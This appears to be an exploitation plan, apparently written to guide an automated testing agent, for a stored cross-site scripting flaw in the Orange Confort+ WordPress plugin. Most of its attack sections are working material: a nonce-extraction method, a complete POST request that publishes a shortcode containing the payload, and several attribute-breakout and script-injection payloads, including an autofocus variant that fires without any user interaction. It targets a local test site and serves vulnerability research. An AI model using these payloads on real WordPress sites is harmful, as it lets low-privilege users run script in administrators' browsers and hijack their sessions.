Exploitation Research Plan: CVE-2026-1808 (Orange Confort+)

1. Vulnerability Summary

The Orange Confort+ accessibility toolbar for WordPress plugin (versions <= 0.7) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability resides in the handling of the ocplus_button shortcode, specifically within the style attribute. Because the plugin fails to sanitize or escape this attribute before echoing it into the HTML output, an attacker with at least Contributor-level permissions can inject arbitrary JavaScript. When a user (including administrators) views the page containing the shortcode, the malicious script executes in their browser context.

2. Attack Vector Analysis

• Endpoint: WordPress Post Editor (Gutenberg or Classic).
• Vulnerable Component: ocplus_button shortcode.
• Vulnerable Parameter: style attribute within the shortcode.
• Authentication Level: Contributor or higher.
• Preconditions: The plugin orange-confort-plus must be active.
• Payload Type: Attribute breakout or script tag injection.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode during the init hook (or main file execution) using add_shortcode('ocplus_button', 'OCPlus_Button_Function').
2. Attribute Parsing: The callback function (e.g., OCPlus_Button_Function) receives an $atts array. It likely uses shortcode_atts() to merge user-provided attributes with defaults.
3. Sink: The function constructs an HTML string (likely a <button>, <a>, or <div>). It concatenates the style attribute directly into the HTML string:

   // Predicted vulnerable code pattern
   $style = $atts['style']; 
   return '<button style="' . $style . '">Text</button>';
   

4. Output: The returned string is rendered on the frontend. Since $style is not passed through esc_attr(), any quotes provided by the user will break out of the attribute.

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a WordPress post/page. Standard WordPress post-saving mechanisms require a nonce.

1. Navigate to Editor: Use browser_navigate to visit /wp-admin/post-new.php.
2. Extract Nonce: The execution agent should use browser_eval to extract the _wpnonce from the form or the wp-api-fetch heartbeat.
   • Selector: document.querySelector('#_wpnonce')?.value
3. Alternative (REST API): If using the REST API to save posts, the X-WP-Nonce header is required. This is typically available in the wpApiSettings object:
   • JS Command: browser_eval("window.wpApiSettings?.nonce")

5. Exploitation Strategy

The goal is to create a post containing a malicious shortcode and then verify its execution on the frontend.

Step 1: Create a Post with the XSS Payload

The agent will send a POST request to create a new post with the payload.

• URL: /wp-admin/post.php (or via REST API /wp-json/wp/v2/posts)
• Payload Options:
  • Breakout: [ocplus_button style='";" onmouseover="alert(document.domain)" data-x="']
  • Tag Injection: [ocplus_button style='"><script>alert(document.domain)</script>']
• HTTP Request (Example via http_request):

  {
    "method": "POST",
    "url": "http://localhost:8080/wp-admin/post.php",
    "headers": {
      "Content-Type": "application/x-www-form-urlencoded"
    },
    "body": "action=editpost&post_ID=[POST_ID]&_wpnonce=[NONCE]&post_title=XSS_Test&content=[ocplus_button style='\"><script>alert(document.domain)</script>']&post_status=publish"
  }
  

  (Note: For Contributors, post_status should be pending if they cannot publish, but the XSS will still fire in the 'Preview' mode.)

Step 2: Access the Rendered Page

Navigate to the URL of the newly created post (or its preview URL).

6. Test Data Setup

1. Plugin Installation: Ensure orange-confort-plus version 0.7 is installed and active.
2. User Creation: Create a user with the contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
3. Login: The agent logs in as attacker.

7. Expected Results

1. The http_request to fetch the post content will return HTML containing the literal string:
   <... style=""><script>alert(document.domain)</script>" ...>
2. In a browser environment, an alert box showing the domain will appear.

8. Verification Steps

1. Check Post Content (CLI):
   wp post get [ID] --field=post_content
   Verify the shortcode is stored correctly.
2. Verify Frontend Output (HTTP):
   Use http_request to fetch the post URL and grep for the unescaped payload:
   grep -P 'style=""><script>alert'

9. Alternative Approaches

If the plugin uses some basic sanitization that blocks <script>, try a style-based attribute breakout:

• Payload: [ocplus_button style='width:100%;" onmouseover="alert(1)" ']
• Payload (Advanced): [ocplus_button style='background-image: url("javascript:alert(1)");'] (Note: works only in very old browsers or specific contexts).
• Payload (CSS Escape): [ocplus_button style='width:expression(alert(1))'] (IE legacy).

Preferred Alternative:
Focus on the attribute breakout:
[ocplus_button style='x:y" onfocus="alert(1)" autofocus="true']
This payload is highly reliable as it doesn't require user interaction (due to autofocus).